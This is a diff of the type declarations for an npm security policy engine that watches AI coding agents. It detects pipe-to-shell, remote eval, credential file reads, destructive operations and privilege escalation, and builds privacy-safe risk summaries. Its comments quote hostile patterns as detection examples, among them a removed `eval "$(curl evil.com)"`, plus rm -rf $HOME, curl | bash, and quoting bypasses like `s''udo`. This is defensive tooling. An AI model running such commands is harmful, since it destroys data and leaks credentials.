@node9/policy-engine 1.0.0 → 1.5.0

package/dist/index.d.ts

@@ -133,20 +133,6 @@ declare function redactText(text: string): {
     found: string[];
 };
 
-/**
- * Normalizes a bash command string for policy rule matching by replacing
- * pure-literal quoted strings that follow known message flags (e.g. -m, --body)
- * with empty double-quotes. This prevents text inside commit messages and PR
- * descriptions from triggering shell security rules.
- *
- * Unlike a regex-based approach, this uses the AST so it handles all quoting
- * styles correctly and won't over-strip. Execution flags like -c and -e
- * (psql, node, python) are intentionally left alone so their SQL/code
- * content continues to be evaluated by smart rules.
- *
- * Dynamic content (CmdSubst, ParamExp) inside double-quotes is never stripped
- * so patterns like `eval "$(curl evil.com)"` are always preserved.
- */
 declare function normalizeCommandForPolicy(command: string): string;
 /**
  * AST-based detection of dangerous shell execution patterns.
@@ -164,6 +150,22 @@ declare function normalizeCommandForPolicy(command: string): string;
 declare function detectDangerousShellExec(command: string): 'block' | 'review' | null;
 /** @deprecated Use detectDangerousShellExec — kept for backwards compatibility */
 declare const detectDangerousEval: typeof detectDangerousShellExec;
+interface FsOpVerdict {
+    ruleName: string;
+    verdict: 'block' | 'review';
+    reason: string;
+    /** The actual path argument from the user's command — for explainability. */
+    path: string;
+}
+declare const BASH_TOOL_NAMES: Set<string>;
+declare function isBashTool(toolName: string): boolean;
+declare const AST_FS_REGEX_RULES: Set<string>;
+/**
+ * True when `path` is under $HOME (~ or absolute /home/* or /root) AND not in
+ * the tool-managed cache allow-list. Used to gate `rm -rf` on home paths.
+ */
+declare function isProtectedHomePath(rawPath: string): boolean;
+declare function analyzeFsOperation(command: string): FsOpVerdict | null;
 interface ShellCommandAnalysis {
     /** First word of every CallExpr — the command names invoked. */
     actions: string[];
@@ -313,7 +315,8 @@ declare function isIgnoredTool(toolName: string, config: PolicyConfig): boolean;
 declare function matchesPattern(text: string, patterns: string[] | string): boolean;
 /**
  * Reads `obj.a.b.c` style nested keys. Returns null when any segment is
- * missing or the parent isn't an object.
+ * missing, the parent isn't an object, or the path attempts to walk the
+ * prototype chain (`__proto__`, `constructor`, `prototype`).
  */
 declare function getNestedValue(obj: unknown, path: string): unknown;
 /**
@@ -409,7 +412,537 @@ interface LoopWindowEvaluation {
  */
 declare function evaluateLoopWindow(records: ToolCallRecord[], tool: string, args: unknown, threshold: number, windowMs: number, now: number): LoopWindowEvaluation;
 
+/**
+ * One finding extracted from a JSONL delta scan. The host produces these
+ * per-line; the engine aggregates them into a summary. `lineIndex` is local
+ * to the JSONL file and not exfiltrated outside this struct — only the
+ * count of findings matters at the workspace level.
+ */
+interface ScanFinding {
+    /** sessionId from the Claude Code JSONL line, used to bucket findings. */
+    sessionId: string;
+    /**
+     * What kind of finding. New extractors should add their own type here
+     * rather than overloading existing ones.
+     */
+    type: 'dlp' | 'pii' | 'sensitive-file-read' | 'privilege-escalation' | 'network-exfil' | 'pipe-to-shell' | 'eval-of-remote' | 'destructive-op' | 'loop' | 'long-output-redacted';
+    /** DLP / PII pattern that matched, e.g. "GitHub Token" or "Email". */
+    patternName?: string;
+    /** Local line index within the source JSONL — never exfiltrated. */
+    lineIndex: number;
+}
+/**
+ * Per-signal counts. Adding a new signal extractor means adding a new key
+ * here; the FE will render it from this dict without code changes once
+ * the chart is wired up.
+ */
+interface ScanSignals {
+    dlpFindings: number;
+    piiFindings: number;
+    sensitiveFileReads: number;
+    privilegeEscalation: number;
+    networkExfil: number;
+    pipeToShell: number;
+    evalOfRemote: number;
+    destructiveOps: number;
+    loops: number;
+    longOutputRedactions: number;
+}
+/**
+ * Compact, network-safe summary of a scan delta. This is the shape the
+ * proxy sends to the SaaS on every policy-sync tick. The SaaS persists it
+ * per-machine (1:1 with apiKey) and aggregates across the workspace for
+ * the dashboard's Recent Exposure card.
+ *
+ * `score` follows the same 0-100 scale as blast: higher is cleaner. We
+ * deduct per finding type based on severity weights (see `computeScanScore`
+ * below), capped so a noisy session doesn't bottom out the score on its own.
+ */
+interface ScanSummary {
+    /** Number of distinct sessionIds touched by this scan delta. */
+    totalSessions: number;
+    /** Total tool-call lines parsed across all deltas. */
+    totalToolCalls: number;
+    /** Per-signal counts. */
+    signals: ScanSignals;
+    /**
+     * Top DLP/PII pattern names by count, descending. Truncated to topN to
+     * keep payload small. Only pattern *names*; samples never surface here.
+     */
+    topPatterns: Array<{
+        patternName: string;
+        count: number;
+    }>;
+    /** 0-100 cleanliness score. */
+    score: number;
+}
+/**
+ * Per-finding-type score deduction. Tuned so:
+ *   - One credential leak (-30) drops the score from 100 to 70 — at-risk
+ *     territory, demands attention.
+ *   - One destructive op (-15) is a yellow flag.
+ *   - One loop (-3) is mild noise; many loops still add up.
+ * Total deduction is capped at 100 so the score never goes negative.
+ *
+ * Exported so the SaaS Report can reuse the same severity ladder when
+ * blending scan signals into the workspace risk score (see
+ * `classifyScanSignal` in ../severity).
+ */
+declare const SCAN_SIGNAL_WEIGHTS: Record<keyof ScanSignals, number>;
+/**
+ * Compute the 0-100 cleanliness score. Public so other engine consumers
+ * can use the same weights without round-tripping through summarizeScan.
+ */
+declare function computeScanScore(signals: ScanSignals): number;
+declare const LOOP_THRESHOLD_FOR_WASTE = 3;
+declare const COST_PER_LOOP_ITER_USD = 0.006;
+/**
+ * Build the network-safe summary from a list of findings + total tool-call
+ * count. Deterministic: given the same input the output is identical
+ * (important for SaaS-side dedup and ETag-style caching of subsequent
+ * tick payloads).
+ *
+ * Top patterns are sorted by count desc, then alphabetically for stable
+ * ordering across calls. topN defaults to 10.
+ */
+declare function summarizeScan(findings: ScanFinding[], opts?: {
+    totalToolCalls?: number;
+    topN?: number;
+}): ScanSummary;
+
+type Severity = 'critical' | 'high' | 'medium';
+type ScoreTier = 'good' | 'at-risk' | 'critical';
+/**
+ * Classify a rule by its name + verdict. Used by the proxy when scanning a
+ * Claude Code session — the rule that matched is known by name.
+ *
+ * Tiers:
+ *   - critical: irreversible damage or credential exfiltration
+ *       (rm -rf $HOME, eval-of-remote, AWS/SSH/GCP credential reads,
+ *       repo deletion, helm uninstall, drop-table, drop-database, flushall,
+ *       curl | bash, pipe-shell)
+ *   - high: significant damage, recoverable
+ *       (force push, git reset --hard, rebase, branch deletion, all other
+ *       block-verdict rules)
+ *   - medium: workflow / cost risk, not security
+ *       (rm review, sudo review, redis config-set, dynamic eval, all other
+ *       review-verdict rules)
+ */
+declare function classifyRuleSeverity(name: string, verdict: 'block' | 'review' | 'allow'): Severity;
+/**
+ * Map a rule slug to a friendly label suitable for narrative output.
+ *
+ *   "block-read-aws"                 → "AWS credentials read"
+ *   "shield:k8s:block-helm-uninstall" → "helm uninstall"
+ *   "review-force-push"              → "force pushes"
+ *
+ * Strips common prefixes (block-, review-, allow-, shield:..., org:) before
+ * matching, so cloud-tagged rules ("org:block-read-aws") map the same way.
+ */
+declare function narrativeRuleLabel(name: string): string;
+/**
+ * Audit-log entry for backend classification. Mirrors the relevant subset of
+ * AuditLog rows so backend code can pass them in without a Prisma dependency
+ * here.
+ */
+interface AuditEntryForClassify {
+    checkedBy?: string | null;
+    toolName: string;
+    action: string;
+    riskMetadata?: {
+        ruleName?: string;
+        dlpPattern?: string;
+        [k: string]: unknown;
+    } | null;
+}
+/**
+ * Classify a single audit-log entry by what fired and which tool ran. Used by
+ * the SaaS /report endpoint to bucket audit events into severity tiers.
+ *
+ * Resolution order — first hit wins:
+ *   1. riskMetadata.ruleName    → defer to classifyRuleSeverity (best signal)
+ *   2. checkedBy === 'dlp-block' or starts with 'dlp-saas:' → critical
+ *      (any credential leak is critical regardless of which pattern matched)
+ *   3. checkedBy starts with 'eval-saas' or 'pipe-chain-saas:critical' → critical
+ *   4. checkedBy === 'loop-detected' → medium (cost / workflow, not security)
+ *   5. Block-status entries with no rule name → high (default for unattributed
+ *      blocks; better than dropping the signal)
+ *   6. Otherwise → null (allowed actions don't have a severity)
+ */
+declare function classifyAuditEntry(entry: AuditEntryForClassify): Severity | null;
+/**
+ * Compute a 0-100 risk-posture score from severity counts + total events.
+ *
+ * Heuristic: each severity tier has a "cost" against a clean 100 score.
+ * Critical findings deduct the most, medium the least. Counts are normalised
+ * by total events so a workspace with 1 critical out of 10 events scores
+ * worse than one with 1 critical out of 10,000 — exposure rate matters more
+ * than absolute count.
+ *
+ * Tiers:
+ *   - good     : score ≥ 80
+ *   - at-risk  : 50 ≤ score < 80
+ *   - critical : score < 50
+ *
+ * Empty workspaces (total === 0) score 100/good — no evidence of exposure
+ * is the only honest answer.
+ */
+declare function computeSecurityScore(opts: {
+    critical: number;
+    high: number;
+    medium: number;
+    total: number;
+}): {
+    score: number;
+    tier: ScoreTier;
+};
+/**
+ * Map a ScanSignals key to its severity tier. Uses the existing
+ * SCAN_SIGNAL_WEIGHTS so adding a new scan signal type only requires
+ * updating the weights table; classification follows automatically.
+ *
+ * Thresholds:
+ *   - ≥ 25  → critical (dlp, pipeToShell, evalOfRemote, networkExfil)
+ *   - ≥ 11  → high     (sensitiveFileReads, privilegeEscalation,
+ *                       destructiveOps)
+ *   - else  → medium   (piiFindings, loops, longOutputRedactions)
+ */
+declare function classifyScanSignal(key: keyof ScanSignals): Severity;
+/**
+ * Compute a 0-100 risk-posture score that blends audit-log severity counts
+ * with forward-only scan signal counts.
+ *
+ * Why this exists: the live audit log answers "what did the firewall block
+ * in this window?" and the scan answers "what's sitting in past sessions?".
+ * Both are real risk; surfacing them as two separate scores forced users
+ * to reconcile two numbers. This function bins scan signals into the same
+ * critical/high/medium buckets via classifyScanSignal, sums them with the
+ * audit counts, and runs the existing computeSecurityScore math.
+ *
+ * Denominator handling: a workspace with zero audit traffic but non-zero
+ * scan findings would otherwise hit the `total === 0` short-circuit and
+ * return 100/good — a false-healthy reading. We add the scan contribution
+ * to `total` so the rate-based math runs:
+ *
+ *   - If `scan.totalToolCalls` is provided, use it as the scan-side
+ *     denominator (best signal — "1 finding per 10000 calls" should
+ *     score better than "1 per 10").
+ *   - Otherwise fall back to the count of scan findings, so a scan-only
+ *     workspace with one credential leak resolves to 1/1 = 100% bad
+ *     rate and lands in critical, not 0/0 = 100/good.
+ *
+ * Backwards compatible: calling with `audit` only and no `scan` produces
+ * the exact same result as `computeSecurityScore(audit)`.
+ */
+declare function computeBlendedSecurityScore(opts: {
+    audit: {
+        critical: number;
+        high: number;
+        medium: number;
+        total: number;
+    };
+    scan?: {
+        signals: ScanSignals;
+        totalToolCalls?: number;
+    };
+}): {
+    score: number;
+    tier: ScoreTier;
+};
+
+/**
+ * One sensitive path that the blast walker found readable on disk.
+ * `score` is the per-finding deduction this path contributes to the
+ * machine's overall blast-radius score (100 = clean).
+ */
+interface BlastFinding {
+    /** Absolute path on disk. May be home-relative ("~/.aws/credentials"). */
+    full: string;
+    /** Display label — short form for UI ("~/.ssh/id_rsa", ".env (cwd)"). */
+    label: string;
+    /** One-line explanation of why this path matters. */
+    description: string;
+    /** Points deducted from the 100-point score when this path is reachable. */
+    score: number;
+}
+/** One environment variable the DLP scanner flagged as a credential. */
+interface BlastEnvFinding {
+    /** Variable name, e.g. "AWS_SECRET_ACCESS_KEY". */
+    key: string;
+    /** DLP pattern that matched, e.g. "AWS Access Key". */
+    patternName: string;
+}
+/** Full result of a blast walk on one machine. */
+interface BlastResult {
+    reachable: BlastFinding[];
+    envFindings: BlastEnvFinding[];
+    /** 0-100. Higher is better. */
+    score: number;
+}
+/**
+ * Compact, network-safe summary of a blast result. This is the shape the
+ * proxy sends to the SaaS and the SaaS persists per machine. We deliberately
+ * DO NOT send file contents, full paths, or sample values — only:
+ *   - the score (already aggregate)
+ *   - a count of how many things were exposed
+ *   - the top-N worst paths' sanitised labels (truncated to 2 segments)
+ *
+ * The sanitisation step lives here in the engine so both the proxy (before
+ * send) and the SaaS (when validating) reference identical logic.
+ */
+interface BlastSummary {
+    /** 0-100. Same as BlastResult.score. */
+    score: number;
+    /** reachable.length + envFindings.length — total exposure count. */
+    exposureCount: number;
+    /**
+     * Top-N worst findings (sorted by individual score deduction desc).
+     * Paths are truncated to the last 2 segments so we never exfiltrate
+     * project-layout details ("payments-prod/.env.production") — only the
+     * basename + parent ("payments-prod/.env.production" → ".env.production"
+     * if 1-segment, "payments-prod/.env.production" if 2-segment).
+     */
+    worstPaths: Array<{
+        path: string;
+        score: number;
+    }>;
+    /** Number of env vars flagged as credentials. No keys included. */
+    envExposureCount: number;
+}
+/**
+ * Sanitise a sensitive path for transmission. Keeps only the trailing 2
+ * segments — enough to identify the kind of file ("~/.aws/credentials"
+ * stays useful, "/Users/alice/Code/payments-prod/.env" becomes
+ * "payments-prod/.env" which doesn't reveal the home dir or directory tree).
+ *
+ * Edge cases:
+ *   - Already short paths (≤2 segments) are returned as-is.
+ *   - Paths with a leading "~" are kept as-is up to 2 segments.
+ *   - Empty strings return "".
+ *
+ * Exported for unit tests + reuse anywhere a path needs the same treatment.
+ */
+declare function truncateBlastPath(full: string): string;
+/**
+ * Build the network-safe summary from a full BlastResult. Deterministic:
+ * given the same input the output is identical (important for caching /
+ * deduplication on the SaaS side). Top-N defaults to 5, configurable for
+ * tests.
+ */
+declare function summarizeBlast(result: BlastResult, opts?: {
+    topN?: number;
+}): BlastSummary;
+
+/**
+ * Destructive-op regex. Word-boundary anchored so partial matches don't
+ * fire (e.g. "term" inside "terminate" wouldn't match `\brm\b`). Each
+ * pattern is independently provable as destructive — no fuzzy heuristics.
+ */
+declare const DESTRUCTIVE_OP_RE: RegExp;
+/**
+ * Historical privilege-escalation regex. **No longer used by the canonical
+ * detector** — scan/canonical.ts moved sudo/su, chmod, and chown all to
+ * AST tokenization (analyzeShellCommand actions + allTokens) so:
+ *   - Quoting bypasses (`s''udo`, `c\hmod`) don't slip past the matcher.
+ *   - String literals like `echo "chmod 777 done"` or `cat /etc/sudoers`
+ *     stop firing false positives — those don't put the action name in
+ *     `actions`, only in `allTokens` (a Lit, not a CallExpr first-word).
+ *
+ * Kept as a public export for non-AST consumers that grep raw command
+ * strings (smart-rule conditions that match on the literal command text)
+ * and as documentation of the historical pattern set. Removing it would
+ * be a breaking change for downstream package consumers.
+ */
+declare const PRIVILEGE_ESCALATION_RE: RegExp;
+/**
+ * Sensitive file paths the agent shouldn't be reading via tool calls.
+ * Mirrors the blast walker's path set — same files matter, here detected
+ * at tool-call-time rather than fs-walk-time.
+ *
+ * `\b` boundaries on names so substring noise doesn't trigger; the
+ * patterns assume the proxy normalises ~ in inputs (which it does
+ * via path expansion before we see them).
+ */
+declare const SENSITIVE_PATH_RE: RegExp;
+/**
+ * Tool names that read or grep file contents. Used to gate SENSITIVE_PATH_RE
+ * to file-reading tools so the same path appearing in a Bash command doesn't
+ * double-count against a Read of the same file.
+ */
+declare const FILE_TOOLS: Set<string>;
+
+type PiiPattern = 'Email' | 'SSN' | 'Phone' | 'Credit Card';
+/**
+ * Detect PII patterns in a string. Returns a deduplicated list — one entry
+ * per distinct pattern type, never multiple "Email" findings from one input.
+ */
+declare function detectPii(text: string): PiiPattern[];
+
+type CanonicalFindingType = 'smart-rule' | 'ast-fs-op' | 'dlp' | 'pii' | 'sensitive-file-read' | 'privilege-escalation' | 'destructive-op' | 'pipe-to-shell' | 'eval-of-remote' | 'loop' | 'long-output-redacted';
+type CanonicalAgent = 'claude' | 'gemini' | 'codex' | 'shell';
+type CanonicalSourceType = 'default' | 'shield' | 'user' | 'engine';
+interface CanonicalFinding {
+    /** Discriminator. Maps 1:1 to ScanFinding.type for the SaaS upload. */
+    type: CanonicalFindingType;
+    /**
+     * Stable rule identifier. For type='smart-rule' / 'ast-fs-op' it's the
+     * rule name (e.g. 'block-rm-rf-home', 'shield:project-jail:block-read-ssh').
+     * For built-in detector findings (PII, DLP, regex), a synthetic name keyed
+     * on the detector + pattern (e.g. 'pii:email', 'dlp:GitHub Token').
+     */
+    ruleName: string;
+    /** Block or review. Findings only exist for fired rules — no allow/info. */
+    verdict: 'block' | 'review';
+    /** Severity tier. Single source of truth — produced once at the engine. */
+    severity: Severity;
+    /** Engine-generated reason. Never carries user PII or raw secrets. */
+    reason: string;
+    /** Pattern name for DLP/PII (e.g. 'GitHub Token', 'Email'). */
+    patternName?: string;
+    /** Tool that produced the call. */
+    toolName: string;
+    agent: CanonicalAgent;
+    sessionId: string;
+    /** Project label or working directory the session lives in. */
+    project: string;
+    /** Local JSONL line offset. Never exfiltrated; used for dedupe. */
+    lineIndex: number;
+    /** Where the rule came from. 'engine' for built-in detectors. */
+    sourceType: CanonicalSourceType;
+    /** Optional shield/source label for UI. */
+    shieldLabel?: string;
+    /** When this exact (post-dedupe) finding was first / last seen. */
+    firstSeenAt: string;
+    lastSeenAt: string;
+    /** Post-dedupe match count. 1 by default, N for N collapsed raw matches. */
+    occurrenceCount: number;
+    /** AST findings: the path that triggered the verdict. */
+    subjectPath?: string;
+    /** Loop findings: dollar cost so far. Loop-only today; optional everywhere. */
+    costUsd?: number;
+    /** Loop findings: number of iterations. */
+    loopCount?: number;
+    loopKind?: 'loop' | 'long-iteration';
+    /** Loop findings: a sanitized command preview for UI. */
+    commandPreview?: string;
+    /** Raw tool input. Local CLI render only. */
+    input?: Record<string, unknown>;
+    /** DLP UI: first/last chars of the matched value with the middle replaced. */
+    redactedSample?: string;
+}
+/**
+ * Normalized per-call entry the per-line extractor consumes. Hosts (CLI
+ * scan, daemon, backfill) parse agent-specific JSONL into this shape so
+ * extractCanonicalFindings doesn't have to know about Claude vs Gemini vs
+ * Codex line layouts.
+ */
+interface ToolCallEntry {
+    toolName: string;
+    args: Record<string, unknown>;
+    timestamp: string;
+    /** Bytes of tool result content for long-output detection. 0 / undefined
+     *  for non-result entries. */
+    outputBytes?: number;
+}
+interface ExtractContext {
+    sessionId: string;
+    lineIndex: number;
+    project: string;
+    agent: CanonicalAgent;
+    rules: ReadonlyArray<{
+        rule: SmartRule;
+        sourceType: CanonicalSourceType;
+        shieldLabel?: string;
+    }>;
+    /** toolInspection map from PolicyConfig — drives shell-command extraction
+     *  for tools that aren't the standard 'bash' name. Defaults handled by caller. */
+    toolInspection: Record<string, string>;
+    /** DLP enabled flag from PolicyConfig. */
+    dlpEnabled: boolean;
+}
+interface SessionExtractContext {
+    sessionId: string;
+    project: string;
+    agent: CanonicalAgent;
+    /**
+     * Loop-detection window settings. Mirrors PolicyConfig.policy.loopDetection.
+     *
+     * `windowSeconds: 0` means "no window" — count all matching calls in the
+     * session regardless of timing. This is the right setting for historical
+     * backfill (--upload-history): an agent that hammered the same Edit on
+     * the same file 126 times across hours is the loop pattern users care
+     * about, but a 120s window would never fire on it. The live hook keeps
+     * the small window because it's racing against an actively running agent.
+     */
+    loopDetection: {
+        enabled: boolean;
+        threshold: number;
+        windowSeconds: number;
+    };
+}
+interface SessionToolCall extends ToolCallEntry {
+    /** Local JSONL line where this call lived — propagates to the loop finding. */
+    lineIndex: number;
+}
+declare const LONG_OUTPUT_THRESHOLD_BYTES: number;
+/**
+ * Wire-format identity of the canonical detector pipeline. Bumped when
+ * extractCanonicalFindings (and friends) change their output in a way
+ * that would invalidate verdicts already recorded against the previous
+ * version. The daemon stores this in ~/.node9/scan-watermark.json and
+ * triggers a one-time re-scan when its persisted value falls behind.
+ *
+ * Bump it when:
+ *   - adding/removing a CanonicalFindingType
+ *   - changing severity classification for an existing type
+ *   - changing dedupe keys (would silently re-bucket existing findings)
+ *   - any semantic change to the detectors that affects emitted counts
+ *
+ * Don't bump for:
+ *   - comment-only edits
+ *   - jsdoc tweaks
+ *   - refactors that demonstrably preserve output
+ *
+ * scripts/check-extractor-version.mjs hashes the detector source files
+ * and fails CI when the hash drifts without a version bump — forgetting
+ * is loud, not silent.
+ */
+declare const CANONICAL_EXTRACTOR_VERSION = "canonical-v4";
+/**
+ * SHA-256 prefix of the detector-source files
+ * (canonical.ts + pii.ts + destructive-regex.ts).
+ *
+ * Updated by `npm run bump-extractor-version`. The CI gate in
+ * `.github/workflows/ci.yml` recomputes the hash on every push and fails
+ * if it doesn't match this constant — the contract is "if any of those
+ * files changed, this hash must change too, and you must consciously
+ * decide whether to bump CANONICAL_EXTRACTOR_VERSION."
+ */
+declare const CANONICAL_EXTRACTOR_HASH = "64a6a63a27f4646f";
+declare function extractCanonicalFindings(call: ToolCallEntry, ctx: ExtractContext): CanonicalFinding[];
+declare function extractSessionLevelFindings(calls: ReadonlyArray<SessionToolCall>, ctx: SessionExtractContext): CanonicalFinding[];
+/**
+ * Collapse equivalent findings into one row, summing occurrenceCount and
+ * spreading firstSeenAt / lastSeenAt across the matches. Dedupe key is
+ * (type, ruleName, command-preview, project, agent) — same shape scan.ts
+ * uses today (line 502), with `agent` added so cross-agent matches stay
+ * separated for the dashboard's per-agent breakdown.
+ */
+declare function dedupeCanonicalFindings(findings: ReadonlyArray<CanonicalFinding>): CanonicalFinding[];
+/**
+ * Project a CanonicalFinding into the privacy-safe ScanFinding shape the
+ * proxy sends to the SaaS. Drops `input`, `redactedSample`, `commandPreview`,
+ * `subjectPath` — anything that could carry user content. Counts and pattern
+ * names only, matching the privacy invariant in scan/index.ts.
+ *
+ * Returns null if the type doesn't have a corresponding ScanFinding bucket
+ * (currently `smart-rule` and `ast-fs-op` — those carry a user-defined or
+ * shield rule name and aren't part of the count-based summary).
+ */
+declare function toScanFinding(c: CanonicalFinding): ScanFinding | null;
+declare function previewArgs(input: Record<string, unknown>, max: number): string;
+
 /** Engine version stamped on audit entries for future drift detection. */
-declare const ENGINE_VERSION = "1.0.0";
+declare const ENGINE_VERSION = "1.4.0";
 
-export { BUILTIN_SHIELDS, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, FLAGS_WITH_VALUES, LOOP_MAX_RECORDS, type LoopWindowEvaluation, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SENSITIVE_PATH_REGEXES, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallRecord, analyzePipeChain, analyzeShellCommand, checkDangerousSql, computeArgsHash, detectDangerousEval, detectDangerousShellExec, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractNetworkTargets, extractPositionalArgs, getCompiledRegex, getNestedValue, isIgnoredTool, isShieldVerdict, matchSensitivePath, matchesPattern, normalizeCommandForPolicy, parseAllSshHostsFromCommand, redactText, scanArgs, scanText, sensitivePathMatch, validateOverrides, validateRegex, validateShieldDefinition };
+export { AST_FS_REGEX_RULES, type AuditEntryForClassify, BASH_TOOL_NAMES, BUILTIN_SHIELDS, type BlastEnvFinding, type BlastFinding, type BlastResult, type BlastSummary, CANONICAL_EXTRACTOR_HASH, CANONICAL_EXTRACTOR_VERSION, COST_PER_LOOP_ITER_USD, type CanonicalAgent, type CanonicalFinding, type CanonicalFindingType, type CanonicalSourceType, DESTRUCTIVE_OP_RE, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, type ExtractContext, FILE_TOOLS, FLAGS_WITH_VALUES, type FsOpVerdict, LONG_OUTPUT_THRESHOLD_BYTES, LOOP_MAX_RECORDS, LOOP_THRESHOLD_FOR_WASTE, type LoopWindowEvaluation, PRIVILEGE_ESCALATION_RE, type PiiPattern, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SCAN_SIGNAL_WEIGHTS, SENSITIVE_PATH_RE, SENSITIVE_PATH_REGEXES, type ScanFinding, type ScanSignals, type ScanSummary, type ScoreTier, type SessionExtractContext, type SessionToolCall, type Severity, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallEntry, type ToolCallRecord, analyzeFsOperation, analyzePipeChain, analyzeShellCommand, checkDangerousSql, classifyAuditEntry, classifyRuleSeverity, classifyScanSignal, computeArgsHash, computeBlendedSecurityScore, computeScanScore, computeSecurityScore, dedupeCanonicalFindings, detectDangerousEval, detectDangerousShellExec, detectPii, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractCanonicalFindings, extractNetworkTargets, extractPositionalArgs, extractSessionLevelFindings, getCompiledRegex, getNestedValue, isBashTool, isIgnoredTool, isProtectedHomePath, isShieldVerdict, matchSensitivePath, matchesPattern, narrativeRuleLabel, normalizeCommandForPolicy, parseAllSshHostsFromCommand, previewArgs, redactText, scanArgs, scanText, sensitivePathMatch, summarizeBlast, summarizeScan, toScanFinding, truncateBlastPath, validateOverrides, validateRegex, validateShieldDefinition };